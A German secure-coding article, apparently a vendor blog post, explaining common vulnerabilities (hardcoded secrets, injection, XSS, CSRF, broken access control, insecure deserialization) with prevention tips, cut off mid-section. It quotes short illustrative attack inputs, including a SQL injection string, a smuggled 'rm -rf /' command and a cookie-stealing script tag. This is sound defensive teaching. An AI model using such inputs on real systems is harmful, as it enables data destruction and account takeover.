Die häufigsten Code-Sicherheitslücken
Einleitung: In der heutigen Softwarelandschaft ist Codesicherheit ein entscheidender Faktor. 2025 hat Rekorde bei der Offenlegung von Schwachstellen gebrochen – über 21.500 CVEs allein im ersten Halbjahr. Angreifer verschwenden keine Zeit damit, diese Schwachstellen zu instrumentalisieren, oft innerhalb weniger Stunden nach der Offenlegung. Das Entscheidende ist: Viele davon sind keine exotischen neuen 0-Days, sondern die gleichen alten Fehler, die Entwickelnde seit Jahrzehnten machen. Es ist fast peinlich – Cross-Site-Scripting und SQL-Injection sind in neu gemeldeten CVEs immer noch weit verbreitet, was unterstreicht, dass sichere Codierungspraktiken nicht Schritt halten. Dies sollte jedes Entwicklungsteam beunruhigen, denn Schwachstellen-Exploits machen mittlerweile 20 % der Sicherheitsverletzungen aus – und überholen gestohlene Zugangsdaten fast als den wichtigsten anfänglichen Angriffsvektor.
Abbildung: Die Anzahl der Software-Schwachstellen steigt auf ein Allzeithoch, mit durchschnittlich 133 neuen CVEs, die täglich im Jahr 2025 gemeldet werden. Über ein Drittel davon sind als Hoch oder Kritisch eingestuft, was rechtzeitiges Patchen und sichere Codierung wichtiger denn je macht.
Warum ist das wichtig? Weil ein einziger Programmierfehler Sicherheitsinvestitionen in Millionenhöhe zunichtemachen kann. Im Jahr 2024 wurde beispielsweise ein Angriff auf das US-Finanzministerium auf nichts weiter als einen geleakten API-Schlüssel zurückgeführt. Und wir alle haben gesehen, wie eine triviale SQL-Injection oder eine fehlende Authentifizierungsprüfung zu katastrophalen Datenlecks führen kann. Sicherer Code ist heute wichtiger denn je. Es ist nicht nur das Problem des Sicherheitsteams – es beginnt bei uns als Entwickelnden, die von Anfang an sichereren Code schreiben und Tools verwenden, um Probleme frühzeitig zu erkennen.
In diesem Artikel werden wir die häufigsten Code-Sicherheitslücken aufschlüsseln, die moderne Anwendungen plagen. Dazu gehören klassische Fehler im eigenen Code (z. B. fest codierte Secrets oder Fehler bei der Eingabevalidierung) sowie echte CVEs in den Open-Source-Bibliotheken und Frameworks, auf die Sie sich verlassen. Für jede Schwachstelle erklären wir, wie sie funktioniert, geben ein reales Beispiel, diskutieren ihre Auswirkungen und geben umsetzbare Tipps zur Vorbeugung. Wir werden auch hervorheben, wie entwicklerzentrierte Sicherheitstools wie Aikido helfen können, diese Probleme zu erkennen oder sogar automatisch zu beheben, bevor sie in Produktion gehen.
Was sind Code-Sicherheitslücken?
Eine Code-Sicherheitslücke ist jede Schwachstelle im Quellcode einer Anwendung, die ein Angreifer ausnutzen kann, um Vertraulichkeit, Integrität oder Verfügbarkeit zu kompromittieren. Dies reicht von einfachen Fehlern (z. B. der Verwendung von eval bei nicht bereinigten Eingaben) bis hin zu subtilen Fehlern in Drittanbieterbibliotheken (z. B. ein Parsing-Fehler, der zu Remote Code Execution führt). Kurz gesagt, wenn es die Arbeit eines Angreifers erleichtert, ist es eine Code-Schwachstelle.
Diese Schwachstellen betreffen alle Sprachen und Tech-Stacks – egal ob Sie JavaScript/TypeScript, Python, Go, Java oder etwas anderes schreiben. Eine Schwachstelle könnte es einem Angreifer ermöglichen, bösartigen Code einzuschleusen, sensible Daten zu stehlen, Privilegien zu eskalieren oder Ihr System zum Absturz zu bringen. Viele solcher Fehler werden als CVEs (Common Vulnerabilities and Exposures) katalogisiert, sobald sie in populärer Software entdeckt werden. Andere könnten einzigartige Logikfehler in Ihrem eigenen Code sein. Der gemeinsame Nenner ist, dass sie aus unsicheren Codierungspraktiken oder übersehenen Annahmen resultieren.
Vor diesem Hintergrund wollen wir einige der häufigsten und gefährlichsten Code-Schwachstellen untersuchen, die Entwickelnde heute betreffen. Die folgende Liste kombiniert weit verbreitete Fehler von Entwickelnden mit realen CVEs aus Open-Source-Projekten. Jeder dieser Punkte stellt eine praktische Bedrohung dar, die zu schwerwiegenden Sicherheitsverletzungen führen kann, wenn sie unbehandelt bleibt.
Top 10 Code-Sicherheitslücken (und wie man sie behebt)
1. Hartkodierte Secrets im Code
Sensible Secrets im Code zu belassen, ist ein kritischer und doch häufiger Fehler. Das Hartcodieren von API-Schlüsseln, Zugangsdaten, Verschlüsselungsschlüsseln oder Tokens in Ihrem Quellcode bedeutet, dass ein Angreifer, sollte er diesen Code jemals sehen (z.B. in einem öffentlichen Repo oder einem geleakten Artefakt), sofortigen Zugriff auf diese Secrets erhält. Selbst in privaten Repos können Zugangsdaten versehentlich durchsickern – und einmal geleakt, bleiben sie oft jahrelang nutzbar. Tatsächlich ergab der Bericht von GitGuardian aus dem Jahr 2025, dass 23,8 Millionen Secrets im Jahr 2024 auf GitHub offengelegt wurden (ein Anstieg von 25 % gegenüber dem Vorjahr). Schlimmer noch: 70 % der im Jahr 2022 geleakten Secrets waren 2025 immer noch gültig, was Angreifern ein langes Zeitfenster zur Ausnutzung gab.
Reale Sicherheitsverletzungen unterstreichen die Auswirkungen. Zum Beispiel drangen Angreifer im Jahr 2024 in ein System des US-Finanzministeriums ein, indem sie einen einzigen hartkodierten API-Schlüssel für eine Authentifizierungsplattform ausnutzten. Mit einem einzigen Schlüssel umgingen sie Sicherheitsebenen, als wären sie ein autorisierter Benutzer. Ähnlich beginnen viele Cloud-Breaches damit, dass ein Entwickelnder versehentlich Cloud-Zugangsdaten oder Datenbankpasswörter in ein Repository committet. Sobald ein Angreifer diese findet, ist es vorbei – sie können sich als Sie anmelden und Ihre Dienste imitieren.
Auswirkungen: Offengelegte Secrets können zu sofortigem unautorisiertem Zugriff auf Datenbanken, Cloud-Konten, Zahlungsgateways oder APIs von Drittanbietern führen. Ein Angreifer mit einem geleakten AWS-Schlüssel könnte beispielsweise Infrastruktur aufbauen, Daten exfiltrieren oder enorme Rechnungen verursachen. Die durchschnittlichen Kosten von Sicherheitsverletzungen, die kompromittierte Zugangsdaten betreffen, betragen 4,5 Millionen US-Dollar, und sie brauchen am längsten, um entdeckt und eingedämmt zu werden, da der Angreifer im Wesentlichen gültigen Zugriff hat.
Prävention/Behebung: Behandeln Sie Secrets wie scharfe Granaten – hardcodieren Sie sie niemals in Ihrem Code oder in Dockerfiles. Verwenden Sie Umgebungsvariablen, Konfigurationsmanagement oder dedizierte Secret-Vaults, um Secrets zur Laufzeit einzuschleusen. Implementieren Sie automatisiertes Secret-Scanning in Ihrer CI/CD-Pipeline, um alle Anmeldeinformationen abzufangen, die doch hineingelangen. (Es gibt Lösungen, die eine Live Secret Detection-Funktion bieten, um zu verhindern, dass Secrets committet werden.) Die Aikido-Plattform umfasst beispielsweise ein Secret-Scanning, das einen API-Schlüssel in einem Commit kennzeichnen und Sie warnen oder sogar den Push verhindern würde. Sobald ein Secret offengelegt ist, gehen Sie davon aus, dass es kompromittiert ist – rotieren Sie es sofort und entwerten Sie das alte. Durch gute Secret-Hygiene und Scanning können Sie vermeiden, Angreifern die Schlüssel zu Ihrem Königreich auszuhändigen.
2. Injection Attacks (SQL- & Command Injection)
„Injection“-Schwachstellen sind ein Evergreen-Klassiker – und immer noch unglaublich weit verbreitet. Bei einem Code-Injection-Angriff wird nicht vertrauenswürdige Eingabe als Code oder Befehle interpretiert, wodurch der Angreifer das beabsichtigte Verhalten ändern kann. Die beiden berüchtigtsten Varianten sind SQL Injection und OS Command Injection.
- SQL Injection (SQLi): Tritt auf, wenn Benutzereingaben ohne ordnungsgemäße Validierung oder Parametrisierung in eine SQL-Abfrage eingefügt werden. Angreifer können Eingaben wie
' OR 1=1--um die Abfragelogik zu manipulieren. Dies kann es ihnen ermöglichen, ganze Datenbanken zu dumpen oder Daten zu modifizieren, indem sie die WHERE-Klausel der Abfrage erweitern oder diese beenden und einen neuen Befehl hinzufügen. Obwohl SQLi eine Lehrbuch-Schwachstelle aus den 2000er Jahren ist, bleibt sie weit verbreitet – sie war 2025 das zweithäufigste Schwachstellenmuster in CVEs. Zum Beispiel die berüchtigte „Bobby Tables“-XKCD Witz ist lustig, bis man merkt, dass echte Unternehmen immer noch davon betroffen sind. Es gab hochkarätige Sicherheitsverletzungen, bei denen eine einfache SQL-Injection in einem Anmeldeformular zum Diebstahl von Millionen von Kundendaten führte. - OS Command Injection: In diesem Fall nimmt die Anwendung Benutzereingaben entgegen und fügt sie in einen Systembefehl oder einen Shell-Ausführungsaufruf ein. Eine Python-App könnte beispielsweise
os.system("ping " + user_input). Ein Angreifer könnte eine Eingabe wie8.8.8.8 && rm -rf /um einen bösartigen zweiten Befehl auszuführen. Es gab CVEs in Web-Frameworks und Dienstprogrammen, die unbeabsichtigt solche Eingaben zur Erzeugung von Shells zuließen. Im Wesentlichen, wenn ein Angreifer ein;oder&&in eine Befehlszeichenfolge injizieren können, können sie beliebige Systembefehle mit den Berechtigungen der App ausführen.
Beispiel: Ein bemerkenswerter realer Vorfall war die Drupalgeddon2-Schwachstelle (CVE-2018-7600) im Drupal CMS, die im Wesentlichen eine Injection-Schwachstelle war, die Remote Code Execution über manipulierte Anfragen ermöglichte. Ein weiteres Beispiel: Im Jahr 2022 wurden die internen Daten eines großen Enterprise gelöscht, weil ein Admin-Tool Benutzereingaben in einen PowerShell-Befehl verkettete – ein Angreifer übergab einen Befehl, um Sicherheitsdienste zu deaktivieren und Daten zu löschen. Diese Fälle zeigen, dass Injection direkt zu einer vollständigen Systemkompromittierung führen kann.
Auswirkungen: SQL-Injection kann sensible Daten (Benutzerdatensätze, Finanzinformationen) offenlegen oder beschädigen und ermöglicht oft ein tieferes Netzwerk-Pivoting über Datenbank-Stored Procedures. Command Injection führt fast immer zu einer Remote Code Execution (RCE), die es Angreifern ermöglicht, beliebigen Code auf dem Server auszuführen – und potenziell den gesamten Host zu übernehmen. Injection-Schwachstellen sind hochkritisch; sie können eine Anwendung und ihren zugrunde liegenden Server untergraben.
Prävention: Das Mantra lautet Benutzereingaben niemals vertrauen. Verwenden Sie Prepared Statements (parametrisierte Abfragen) für den Datenbankzugriff – dies stellt sicher, dass Benutzerdaten streng als Daten und nicht als ausführbares SQL behandelt werden. Verwenden Sie beispielsweise in Python Parameter-Platzhalter mit cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) anstatt String-Formatierung. Für Sprachen wie JavaScript verwenden Sie ORM-/QueryBuilder-Bibliotheken, die Abfragen für Sie parametrisieren. Vermeiden Sie es ebenfalls, Shell-Befehle aus Teilen von Benutzereingaben zu konstruieren. Wenn Sie Systembefehle aufrufen müssen, verwenden Sie sichere Bibliotheksaufrufe oder whitelisten Sie zumindest akzeptable Eingaben. Validieren und bereinigen Sie Eingaben – z. B. wenn eine Eingabe eine ID sein soll, stellen Sie sicher, dass sie numerisch und innerhalb des erwarteten Bereichs liegt. Die Eingabevalidierung allein ist nicht narrensicher, aber sie ist eine wichtige Schicht.
Setzen Sie auch Sicherheitstest-Tools ein. Statische Codeanalyse kann oft offensichtliche Injection-Muster (wie String-Verkettung in SQL-Aufrufen) erkennen. Aikidos SAST-Scanner, würde beispielsweise das Risiko kennzeichnen os.system(user_input) Aufruf oder eine unparametrisierte SQL-Abfrage als potenzielle Injection kennzeichnen. Präventiv können Anwendungs-Firewalls (WAFs) einige Injection-Versuche blockieren, aber sie sind ein Sicherheitsnetz – das Ziel ist es, den Code zu beheben. Denken Sie daran, Injection-Schwachstellen bestehen, weil sie leicht einzuführen und manchmal schwer zu erkennen sind. Code-Reviews, Entwickelnden-Schulungen und automatisierte Scans sind hier Ihre Verbündeten.
3. Cross-Site-Scripting (XSS)
Cross-Site-Scripting ist ein weiterer Dauerbrenner im Werkzeugkasten von Angreifenden. Bei einem XSS-Angriff fügt eine Webanwendung unbeabsichtigt bösartigen Skriptcode, der von einem Angreifenden bereitgestellt wurde, in die an andere Benutzer gesendeten Seiten ein. Der Browser des Opfers führt dieses Skript aus, was zu gekaperten Sitzungen, verunstalteten Websites oder an den Benutzer gelieferter Malware führen kann. XSS gibt es in verschiedenen Varianten (gespeichert, reflektiert, DOM-basiert), aber im Kern ist es meist ein Versäumnis, die Ausgabe im UI nicht ordnungsgemäß zu bereinigen oder zu codieren.
Trotz des Aufkommens moderner Frontend-Frameworks bleibt XSS das häufigste Web-Schwachstellenmuster. Im ersten Halbjahr 2025 war Cross-Site-Scripting die häufigste Schwachstelle, die in neuen CVEs festgestellt wurde. Dies liegt teilweise daran, dass selbst geringfügige Versäumnisse bei der Bereinigung XSS in ansonsten sicheren Plattformen einführen können. Zum Beispiel zeigte eine neue Angular-Schwachstelle, die 2025 offengelegt wurde (CVE-2025-66412), dass bestimmte SVG- und MathML-Attribute nicht vom Standard-Sanitizer von Angular abgedeckt waren, wodurch bösartige JavaScript-URLs durchschlüpfen konnten. In Apps, die betroffene Angular-Versionen verwenden, könnte ein Angreifender eine Payload erstellen, die beim Rendern beliebigen Skriptcode in den Browsern der Benutzer ausführt – ein gespeichertes XSS in einem eigentlich sicheren Framework!
Beispiel: Ein klassisches Beispiel ist ein Kommentarbereich, in dem Benutzer Text posten können. Wenn die App diesen Text einfach ohne Kodierung auf Seiten wieder anzeigt, könnte ein Angreifender einen Kommentar wie <script>stealCookies()</script>. Jeder Benutzer, der diesen Kommentar ansieht, würde unwissentlich das Skript des Angreifenden ausführen, das beispielsweise sein Session-Token an den Angreifenden senden könnte. Es gab reale Vorfälle auf hochkarätigen Websites, bei denen XSS in Benutzerprofilen oder Foren zu massenhafter Kontoübernahme führte. Selbst im Jahr 2023 fanden Forscher XSS in verschiedenen Plugins und Web-Apps – zum Beispiel ermöglichte ein reflektiertes XSS in einem beliebten Enterprise-Support-Portal einem Angreifenden die Ausführung von Code, indem ein Helpdesk-Benutzer dazu verleitet wurde, auf einen manipulierten Link zu klicken.
Auswirkungen: Die Auswirkungen von XSS sind typischerweise Identitätsdiebstahl und Datendiebstahl auf der Clientseite. Angreifende können Session-Cookies stehlen, wodurch sie sich als Benutzer (einschließlich Administratoren) ausgeben können. Sie können Aktionen als Benutzer ausführen (wie das Ändern Ihrer Kontoeinstellungen), gefälschte Anmeldeformulare anzeigen (Phishing) oder sogar Würmer verbreiten (ein XSS, das sich selbst auf andere Seiten postet). Obwohl XSS den Server nicht direkt kompromittiert, setzt es Ihre Benutzer einem ernsthaften Risiko aus und kann Ihre Anwendung verunstalten. In einigen Fällen kann XSS ein Schritt zu weiteren Angriffen sein (z. B. das Pivoting auf den Browser eines Administrators, um Backend-Zugriff zu erhalten).
Prävention: Die goldene Regel lautet: Eingaben bereinigen und Ausgaben codieren. Stellen Sie für alle Daten, die HTML-Sonderzeichen enthalten könnten, sicher, dass sie ordnungsgemäß escaped oder bereinigt werden, bevor sie in die Seite eingefügt werden. Moderne Frameworks wie React, Angular und Vue verfügen über integrierte XSS-Abwehrmechanismen (z. B. Auto-Escaping oder DomPurify für gefährliches HTML) – verwenden Sie diese wie vorgesehen und vermeiden Sie es, diese Schutzmaßnahmen zu umgehen. Wenn Sie HTML manuell erstellen, verwenden Sie Templating-Bibliotheken, die automatisch escapen oder explizit Kodierungsfunktionen aufrufen. Setzen Sie eine Content Security Policy (CSP) ein, um Schäden zu mindern (CSP kann einschränken, welche Skripte ausgeführt werden können). Aktualisieren Sie Frontend-Bibliotheken regelmäßig – wie bei den XSS-CVEs von Angular aus dem Jahr 2025 zu sehen war, beheben Frameworks tatsächlich Bereinigungslücken.
Aus Tooling-Sicht, statische Analysetools können einige XSS-Probleme finden, indem sie nicht-sanierte Datenflüsse verfolgen. Aikidos Code-Scan kann Sie beispielsweise warnen, wenn Benutzereingaben direkt in innerHTML oder eine Vorlage ohne Escaping. Dynamisches Scannen (DAST) kann XSS auch durch den Versuch, Skripte während des Tests zu injizieren, erkennen. Kombinieren Sie dies mit einer gründlichen Code-Überprüfung (stellen Sie sich die Denkweise eines Angreifers vor, wenn Sie Code überprüfen, der HTML verarbeitet). Wachsamkeit ist der Schlüssel: XSS schleicht sich oft durch das „eine kleine Feld“ ein, das jemand vergessen hat zu escapen.
4. Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery unterscheidet sich etwas von den anderen hier genannten Problemen – es ist eher eine Design-Schwachstelle als ein direkter Code-Fehler, aber es ist sehr relevant für Webanwendungen. CSRF ermöglicht es einem Angreifer, den Browser eines Opfers dazu zu bringen, unautorisierte Aktionen in einer Webanwendung durchzuführen, in der das Opfer authentifiziert ist. Im Wesentlichen „reitet“ der Angreifer auf der Session des Opfers, indem er eine gefälschte Anfrage vom Browser des Opfers an die Zielanwendung sendet.
Wie kommt es dazu? Nehmen wir an, ein Benutzer ist auf der Website seiner Bank angemeldet. Die Funktion zum Geldtransfer der Bank ist eine einfache POST-Anfrage, um Geld zu überweisen. Wenn die Bankseite nicht gegen CSRF geschützt ist, könnte ein Angreifer diesem Benutzer eine bösartige HTML-Seite per E-Mail senden, die ein verstecktes Formular oder Skript enthält, das diese POST-Anfrage automatisch ausführt (unter Verwendung der Cookies des Benutzers). Die Bank sieht ein gültiges Session-Cookie des Benutzers und verarbeitet die Anfrage – das Geld wird an den Angreifer überwiesen, alles ohne Wissen des Benutzers.
CSRF ist seit Jahren bekannt, tritt aber immer noch häufig auf (es gehörte zu den Top 5 der Schwachstellenkategorien in den CVEs von 2025). Es entsteht oft, wenn Entwickelnde APIs oder Formularaktionen erstellen, ohne CSRF-Tokens oder andere Anti-Forgery-Maßnahmen einzubeziehen. Selbst etablierte Frameworks können Logikfehler aufweisen: Zum Beispiel wurde 2025 eine Angular-Schwachstelle entdeckt, bei der der XSRF-Schutz von Angular einige Cross-Domain-URLs fälschlicherweise als Same-Origin behandelte, wodurch das Token des Benutzers an vom Angreifer kontrollierte Anfragen angehängt wurde. Diese Art von Fehler könnte CSRF durch das Leaken oder den Missbrauch von Tokens ermöglichen.
Auswirkungen: Ein erfolgreicher CSRF-Angriff kann Benutzer dazu zwingen, jede statusändernde Aktion auszuführen, die ihr Konto zulässt: Kontodaten aktualisieren, Käufe tätigen, ihr Passwort ändern, sogar Privilegien eskalieren, falls eine solche Funktionalität existiert. Im Wesentlichen nutzt der Angreifer die authentifizierte Session des Opfers aus. Bemerkenswert ist, dass CSRF-Angriffe auf Aktionen abzielen, nicht direkt auf Datendiebstahl (dafür ist XSS zuständig), aber die Aktionen können ebenso schädlich sein (Finanztransaktionen, Datenänderungen usw.). Viele hochkarätige CSRF-Exploits haben es Angreifern ermöglicht, beispielsweise die DNS-Einstellungen eines routers von innen zu ändern oder unerwünschte Inhalte im Namen eines Benutzers in sozialen Medien zu posten.
Prävention: Die Standardverteidigung besteht darin, bei jeder sensiblen Transaktion ein Anti-CSRF-Token einzuschließen. Frameworks wie Django, Rails, Spring usw. verfügen über integrierte CSRF-Token-Mechanismen – nutzen Sie diese. Das Token ist ein Zufallswert, den eine Angreiferseite nicht erhalten kann, und der Server akzeptiert nur Anfragen, die das korrekte Token enthalten (normalerweise als verstecktes Formularfeld oder Header gesendet). In modernen Anwendungen können Sie, wenn Sie ein reines API-Backend erstellen, Strategien wie das Erfordern eines Benutzerdefinierten Headers (z. B. X-Requested-With) oder Same-Site-Cookies verwenden, die auf Strict/Lax zur Minderung von CSRF. Stellen Sie sicher, dass Ihre Cookies als SameSite=Lax oder Strict markiert sind, damit Browser sie standardmäßig nicht in Cross-Origin-Anfragen einschließen (dies ist zu einer wichtigen modernen Verteidigungsmaßnahme geworden). Seien Sie auch vorsichtig bei CORS-Konfigurationen – erlauben Sie einer Angreifer-Domain nicht, privilegierte Anfragen über CORS zu senden, es sei denn, dies ist absolut beabsichtigt.
Die meisten Web-Frameworks übernehmen CSRF für Sie, wenn Sie es richtig aktivieren. Stellen Sie sicher, dass es nicht versehentlich deaktiviert ist. Versuchen Sie beim Testen einige CSRF-Szenarien: Kann eine Aktion ausgelöst werden, indem man einfach einen externen Link besucht oder ein Bild lädt? Wenn ja, haben Sie ein Problem. Glücklicherweise ist CSRF mit den richtigen Praktiken vermeidbar. Aikidos Sicherheitstests können auch CSRF-Angriffe als Teil des Pentestings simulieren. Berücksichtigen Sie außerdem kritische Aktionen mit mehreren Faktoren (sodass selbst wenn CSRF die Aktion auslöst, ein zweiter Faktor zur Vervollständigung erforderlich ist). Gehen Sie insgesamt niemals davon aus, dass eine Anfrage von einer echten Quelle stammt – validieren Sie sie.
5. fehlerhafte Authentifizierung & Zugriffskontrolle
Fehlerhafte Authentifizierung und Zugriffskontrolle Schwachstellen treten auf, wenn Ihre Anwendung nicht richtig durchsetzt, wer was tun darf. Diese Kategorie ist durchweg das kritischste Risiko in den OWASP Top 10. Im Wesentlichen handelt es sich um Fehler, die es Angreifern ermöglichen, entweder die Authentifizierung zu umgehen oder ihre Privilegien zu erhöhen, indem sie Lücken in Ihrer Autorisierungslogik ausnutzen.
Eine Untergruppe ist die fehlerhafte Authentifizierung – Probleme wie das Zulassen schwacher Passwörter, das Nicht-Erzwingen von Sperren bei Brute-Force-Angriffen oder fehlerhaftes Session-Management (z. B. Session-IDs, die vorhersagbar sind oder nicht ablaufen). Ein berühmtes historisches Beispiel war ein Problem, bei dem einige Apps ein JWT mit dem Algorithmus „none“ als gültig akzeptierten – was bedeutete, dass ein Angreifer ein Token mit { "alg": "none", "user": "admin" } fälschen konnte und das System es als Admin-Login akzeptierte (dies resultierte aus Bibliotheken, die Tokens nicht richtig verifizierten, ein Problem, das um 2015 entdeckt wurde). In jüngerer Zeit sind Fehlkonfigurationen wie das Belassen von Standard-Admin-Anmeldeinformationen oder die Verwendung von fest codierten Passwörtern (was auf Secrets zurückgeht) häufige Authentifizierungsfehler.
Die andere (und wohl häufigere) Untergruppe ist fehlerhafte Zugriffskontrolle. Hier geht es darum, Benutzerberechtigungen nicht korrekt zu überprüfen. Eine Anwendung könnte beispielsweise eine URL wie /user/profile?userId=1234. Wenn ich die userId zu einer anderen ID ändern und deren Daten anzeigen oder ändern kann, handelt es sich um eine IDOR (Insecure Direct Object Reference) – eine klassische Zugriffskontrollschwäche. Dies wurde in vielen CVEs als CWE-862 „Missing Authorization“ hervorgehoben. Es ist unglaublich häufig: Viele hochkarätige Sicherheitsverletzungen beginnen damit, dass jemand einen API-Endpunkt findet, der die Berechtigung des Anfragenden nicht überprüft. Ein reales Beispiel: Ein HR-System eines Unternehmens hatte eine Funktion „Alle Mitarbeiterdatensätze exportieren“, die für HR-Manager gedacht war. Aufgrund einer fehlenden Überprüfung konnte jeder angemeldete Mitarbeiter diese aufrufen, wenn er die URL kannte – was zu einer Datenpanne von Tausenden von Datensätzen führte.
Auswirkungen: Eine fehlerhafte Authentifizierung kann Angreifenden ermöglichen, sich als andere Benutzer auszugeben (einschließlich Administratoren) oder die Privilegien eines anderen Benutzers zu nutzen. Eine fehlerhafte Zugriffskontrolle kann sensible Daten preisgeben (wenn Sie auf die Datensätze anderer zugreifen können) oder sogar bösartige Zustandsänderungen zulassen (z. B. normale Benutzer, die nur Administratoren vorbehaltene Aktionen ausführen). Die schlimmsten Szenarien umfassen vollständige Kontoübernahmen, Datenlecks oder unautorisierte Operationen im gesamten System. Eine fehlende Administratorprüfung könnte beispielsweise einem Angreifenden ermöglichen, neue Administratoren zu erstellen oder alle Kundendaten herunterzuladen. Es ist leicht zu erkennen, warum dies als Risiko Nr. 1 eingestuft wird – es untergräbt das grundlegende Sicherheitsprinzip, sicherzustellen, dass jeder Benutzer nur das tun kann, wozu er berechtigt ist.
Prävention: Dies läuft auf Sorgfalt bei der Implementierung Ihrer Authentifizierung und Autorisierung hinaus:
- Authentifizierung: Verwenden Sie bewährte Frameworks für die Anmelde- und Sitzungsverwaltung – entwickeln Sie keine eigene Authentifizierung, wenn Sie es vermeiden können. Setzen Sie starke Passwortrichtlinien durch und verwenden Sie Multi-Faktor-Authentifizierung für sensible Konten. Stellen Sie sicher, dass Sie Passwörter korrekt hashen (verwenden Sie starke adaptive Hashes wie bcrypt oder Argon2, nicht einfaches MD5). Implementieren Sie Kontosperrungen oder Ratenbegrenzung bei Anmeldeversuchen, um Brute-Force-Angriffe abzuwehren. Für Sitzungstoken sollten diese lang und zufällig sein, und bei der Verwendung von JWTs müssen Signaturen und Claims immer verifiziert werden (und der „none“-Algorithmus oder andere unsichere Konfigurationen abgelehnt werden). Ziehen Sie die Verwendung von Bibliotheken in Betracht, um die JWT-Verifizierung und Sitzungsspeicherung sicher zu handhaben.
- Zugriffskontrolle: Befolgen Sie das Prinzip der geringsten Privilegien in Ihrem Anwendungsdesign. Serverseitig sollte jede Anfrage an eine geschützte Ressource eine Autorisierungsprüfung durchführen: Wenn beispielsweise Benutzer 123 anfragt
/accounts/456, sollte der Code verifizieren, dass Benutzer 123 auf Ressource 456 zugreifen darf. Verwenden Sie nach Möglichkeit rollenbasierte Zugriffskontrolle oder attributbasierte Zugriffskontroll-Frameworks. Es ist oft hilfreich, die Autorisierungslogik zu zentralisieren, damit sie nicht in unzähligen bedingten Anweisungen verteilt ist, die leicht vergessen werden können. Bei der Verwendung von Frameworks wie Django, Rails, Spring Security usw. nutzen Sie deren integrierte Zugriffskontroll-Annotationen oder Middleware. Vermeiden Sie in REST-APIs, sich ausschließlich auf clientseitige Durchsetzung zu verlassen (wie das Ausblenden von Admin-Buttons in der Benutzeroberfläche) – setzen Sie die Kontrolle immer auch im Backend durch.
Denken Sie während der Entwicklung und des Testens wie ein Angreifender: Versuchen Sie URL-Manipulation, versuchen Sie auf IDs anderer Benutzer zuzugreifen oder Aktionen außerhalb Ihrer Rolle auszuführen. Tools wie Aikidos Sicherheitstests (oder manuelles Pentesting) können helfen, diese Probleme zu identifizieren, indem sie nach gängigen IDOR-Mustern oder fehlender Authentifizierung an Endpunkten suchen. Einige statische Analysetools können auch fest codierte Umgehungen oder immer wahre Bedingungen in der Authentifizierungslogik erkennen.
Gehen Sie im Code niemals von „Sicherheit durch Obskurität“ aus (d. h., dass niemand diesen versteckten Admin-Endpunkt finden wird). Stellen Sie stattdessen sicher, dass sie ihn, selbst wenn sie ihn finden, ohne korrekte Anmeldeinformationen nicht nutzen können. Protokollierung und Alarmierung sind ebenfalls entscheidend – wenn jemand wiederholt auf Ressourcen zugreift, auf die er nicht zugreifen sollte, möchten Sie das wissen. Zusammenfassend: Alles authentifizieren, jede Aktion autorisieren.
6. Unsichere Deserialisierung
Deserialisierungs-Schwachstellen treten auf, wenn eine Anwendung serialisierte Daten (denken Sie an binäre Blobs oder JSON/XML, die Objekte repräsentieren) von einer nicht vertrauenswürdigen Quelle akzeptiert und diese ohne angemessene Schutzmaßnahmen deserialisiert. Wenn die Daten bösartig manipuliert werden, kann dies dazu führen, dass das Programm unerwartete Objekte instanziiert oder Angreifer-kontrollierten Code ausführt. In Sprachen wie Java, Python und .NET hat unsichere Deserialisierung zu zahlreichen kritischen CVEs und Exploits geführt.
Ein aktuelles prominentes Beispiel ist React2Shell (CVE-2025-55182), eine kritische RCE in React Server Components, die Ende 2025 entdeckt wurde. Sie entstand durch unsichere Deserialisierung im RSC-„Flight“-Protokoll – im Wesentlichen konnte eine fehlerhaft formatierte Payload, die an eine Next.js-/React-Anwendung gesendet wurde, die Deserialisierungslogik des Servers manipulieren und Remote Code Execution erreichen. Was dies besonders beängstigend macht, ist, dass Standardkonfigurationen anfällig waren (eine Standard-Next.js-Anwendung konnte ohne Codeänderungen durch die Entwickelnde ausgenutzt werden). Es handelte sich um einen unauthentifizierten Angriff, der lediglich eine speziell präparierte HTTP-Anfrage an den Server erforderte, und der Exploit-Code wurde öffentlich verfügbar – was innerhalb weniger Tage zu aktiven Exploits in freier Wildbahn führte. Dies zeigt, wie Deserialisierungsfehler selbst in modernen Frameworks lauern können.
In Java war ein berüchtigter Fall die Ausnutzung von Apache Commons Collections im Jahr 2015: Viele Unternehmensanwendungen verwendeten Bibliotheken, die Java-Objekte automatisch aus Benutzereingaben (wie in HTTP-Cookies oder SOAP-Daten) deserialisieren würden. Angreifende fanden heraus, dass sie ein serialisiertes Objekt einer bösartigen Klasse einschließen konnten, das beim Erstellen Befehle ausführen würde. Dies führte zu RCEs in Anwendungen wie Jenkins, WebLogic usw. (Mehrere CVEs wie CVE-2017-9805 in Struts und andere in WebLogic behandelten diese Probleme). Auch Python ist nicht immun – die Verwendung von pickle.loads auf nicht vertrauenswürdigen Eingaben verleiht der Eingabe im Grunde Code-Ausführungsrechte. Selbst scheinbar sichere Datenformate können riskant sein: YAML-Parser in Python und Ruby hatten Schwachstellen, bei denen sie beim Laden speziell präparierten YAMLs zur Ausführung von Befehlen gezwungen werden konnten.
Auswirkungen: Unsichere Deserialisierung ist oft ein Weg zu Remote Code Execution. Zumindest kann sie Datenmanipulation oder die Einschleusung unbeabsichtigter Objekte ermöglichen. Ein Angreifender kann potenziell Systemklassen oder Objekte mit schädlichen Nebenwirkungen instanziieren. In Java könnten sie beispielsweise Gadget-Klassen (Objekte, deren readObject Methode schädliches Verhalten aufweist) verwenden, um eine Reverse Shell zu öffnen. In Python könnte ein bösartiges Pickle das os Modul importieren und Systembefehle ausführen. Die Auswirkungen sind typischerweise eine vollständige Kompromittierung der Anwendung und möglicherweise des Hosts, da der Code innerhalb des Prozesses der Anwendung ausgeführt wird.
Prävention: Vermeiden Sie zunächst, sensible oder beliebige Datenformate von nicht vertrauenswürdigen Quellen zu serialisieren und deserialisieren, wann immer dies möglich ist. Wenn Sie Daten mit dem Client austauschen müssen, verwenden Sie einfachere Formate wie JSON und parsen/validieren Sie den Inhalt manuell, anstatt die native Objektspezialisierung der Sprache zu nutzen. Für Sprachen, die Deserialisierung erfordern (z. B. den Empfang komplexer Objekte), verwenden Sie Bibliotheken, die einen sicheren Modus oder eine Whitelist von Klassen unterstützen. Zum Beispiel kann Javas ObjectInputStream über einen Validierungsfilter auf bestimmte Klassen beschränkt werden (verfügbar in neueren JDK-Versionen). Ähnlich gilt für Python: Bevorzugen Sie json oder wenn Sie YAML verwenden müssen, nutzen Sie safe_load anstatt load (um eine potenzielle Objektinstanziierung zu vermeiden).
